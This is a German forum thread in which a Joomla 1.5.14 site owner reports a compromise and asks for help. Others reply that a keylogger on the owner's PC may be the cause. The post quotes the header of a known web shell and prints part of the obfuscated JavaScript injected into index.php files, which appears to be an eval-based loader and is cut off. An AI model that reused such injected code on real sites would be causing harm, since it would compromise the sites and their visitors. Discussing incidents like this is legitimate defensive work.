Thema: Joomla 1.5.14 wurde gehackt

Hi@ll,

leider wurden fast alle unserer Joomla Seite 1.5.14 gestern Nacht gehackt.

Ich werfe dies einfach mal so in den Raum um evtl. weitere Joomla User zu finden denen dies letzt auch passiert ist.

Code:

/*
*****************************************************************************************
*                           Safe0ver Shell //Safe Mod By pass spy-emergencyçorg - evilc0der.com               *
***************************************************************************************** 
*        Evilc0der.com is a Platform Which You can Publish Your Shell Script             *  

***************************************************************************************** 

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 
!!   Dikkat ! Script Egitim Amacli Yazilmistir.Scripti Kullanarak Yapacaginiz Illegal eylemlerden sorumlu Degiliz.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 
*/

Dieses Script ist wohl der Übeltäter und schreibt folgendes in die files index.php und index2.php im Root und im Template Ordner.

Code:

<script language=\"javascript\">$a=\"Z63cZ3dZ22ds.leZ256eZ2567tZ2568;i+Z252b)Z257btmpZ253dds.Z2573licZ2565(i,Z2569Z252b1)Z22;stZ3dZ22Z2573Z2574Z253dZ2522$Z2561Z253dsZ2574;Z2564cZ2573(Z2564aZ252bZ2564Z2562+Z2564cZ252bdZ2564Z252bZ2564eZ252c1Z2530Z2529;Z2564Z2577(Z2573tZ2529Z253bsZ2574Z253d$aZ253bZ2522;Z22;cbZ3dZ22apZ2565Z2528dZ2573Z2529;Z2573tZ253dtmZ2570Z253dZ2527Z2527;for(iZ253d0;Z2569Z253cZ22;dbZ3dZ229+tqduZ3ecudTqdu8tqduZ3ewudTqdu890Z3d0#9+0dy}uK7iuqb7M0-0tqduZ3ewudVe||Iuqb89+dy}uK7}Z257F~dx7M0-0tqduZ3ewud]Z257F~dx89;!+dy}uK7tqi7M0-0tqduZ3ewudTqdu89+yv08tqduZ3ewudTqi890--0!0ll0tqduZ3ewudTqi890--0Z25260ll0tqduZ3ewudTqi890--0$9ktqduZ3ecudTqdu8tqduZ3ewudTqdu890Z3d0!9+0dy}uK7tqi7M0-0tqduZ3ewudTqdu89+0dy}uK7}Z257F~dx7M0-0tqduZ3ewud]Z257F~dx89;!+0dy}uK7iuqb7M0-0tqduZ3ewudVe||Iuqb89+0m0tqduZ3ecudTqdu8tqduZ3ewudTqdu890;Z22;dcZ3dZ220!9+0yv08tqduZ3ewud]Z257F~dx89;!0,0!Z25209kcxyvdY~tuh0-0dy}uK7iuqb7M0;07Z3dZ252070;08tqduZ3ewud]Z257F~dx89;!90+mu|cukcxyvdY~tuh0-0dy}uK7iuqb7M0;07Z3d70;08tqduZ3ewud]Z257F~dx89;!9+myv08tqduZ3ewudTqdu890;!0,0!Z25209kcxyvdY~tuh0-cxyvdY~tuh0;07Z3dZ252070;0tqduZ3ewudTqdu89+mu|cukcxyvdY~tuh0-0cxyvdY~tuh0;07Z3d70;0tqduZ3ewudTqdu89+mcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKcxyvdY~tuhMKZ2520MZ3eaeubiZ3esxqbSZ257FtuQd8!9+ve~sdyZ257F~0SZ22;opZ3dZ22Z2524aZ253dZ2522dw(Z2564cs(Z2563u,Z25314Z2529Z2529;Z2522;Z22;cuZ3dZ22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:wZ7by;xp;ubZ7bfdZ25;64c}p`|)Z25$$4|q}s|`),$*(;}rfuyq*(;p}b*Z22;dzZ3dZ22Z2566unZ2563tZ2569on Z2564wZ2528t)Z257bcZ2561Z253dZ2527Z252564Z25256fcuZ256dZ252565nt.Z252577riZ2574Z25256Z2535Z252528Z252522Z2527;ceZ253dZ2527Z252522)Z2527;cbZ253dZ2527Z25253cscrZ25256Z2539pZ2574Z252520Z256cZ2561Z25256eZ2567uZ252561Z2567Z252565Z25253dZ25255cZ252522jaZ2576Z252561Z252573Z2563Z252572Z252569pZ25257Z2534Z25255Z2563Z252522Z25253eZ2527;ccZ253dZ2527Z25253cZ25255cZ25252fscriZ2570Z252574Z25253eZ2527;eZ2576alZ2528uZ256eesZ2563apeZ2528t))Z257d;Z22;deZ3dZ22iuqbSxZ25220-0|uddub....

Unsere Servereinstellungen sollten eigentlich Recht sicher eingestellt sein.

Register Global = off
allowed url open = off

usw.

ISt dies in der Joomla Gemeinde bereits bekannt und gibt es Gegenmassnahmen?

Es sind keine exotischen Komponenten installiert,
JCE
Joomlapack
YAML
Virtuemart
Kanga

eigentlich doch stabile Kompos, oder?

Für irgendwelche Ratschläge und Hilfestellungen würde ich mich wahnsinnig freuen.

Grüße
chevron08

Hi
bei sovielen seiten gehackt, tippe ich mal, das dein PC der uebeltaeter ist
vielleicht hast du dir einen keylogger eingefangen

gruss ronny

Zitat von ronny7362

Hi
bei sovielen seiten gehackt, tippe ich mal, das dein PC der uebeltaeter ist
vielleicht hast du dir einen keylogger eingefangen

gruss ronny

Das denke ich auch mal. Hast du ein Virenprogramm? wenn ja mal durchlaufen lassen. Wenn du auf Nummer sicher gehen willst System neu aufsetzen, da Keylogger so gut versteckt sein können, dass nicht mal ein Virenprogramm was findet.

Noch eine andere Theorie:
Wo hast du die Joomla Komponente, Module geladen? Hab jetzt schon öfters gehört das manche nichts besseres zu tun haben und irgendwelche Sachen mit einbauen...

Wobei ich auf die erste Tippe! Wenn es wirklich ein Keylogger ist, dann SOFORT Windows etc. neu installieren und ALLES löschen. Ein Keylogger kann nicht nur dein Joomla platt machen, sondern auch persönliche Daten z.B. Bank ausspähen. Nicht auszudenken was da alles passieren kann